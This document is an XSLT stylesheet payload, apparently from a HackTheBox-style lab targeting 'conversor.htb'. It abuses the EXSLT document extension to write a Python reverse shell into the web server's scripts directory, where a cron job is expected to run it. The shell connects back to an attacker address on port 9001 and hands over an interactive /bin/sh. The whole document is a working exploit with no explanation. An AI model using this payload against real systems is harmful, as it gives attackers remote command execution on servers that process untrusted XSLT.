<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
  <xsl:output method="html" indent="yes" />
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/shell.py" method="text">import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.1X.X",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])</exsl:document>
    <html>
      <head><title>Shell upload</title></head>
      <body>
        <h1>Python reverse shell written</h1>
        <p>File: /var/www/conversor.htb/scripts/shell.py</p>
        <p>Waiting for cron exec</p>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>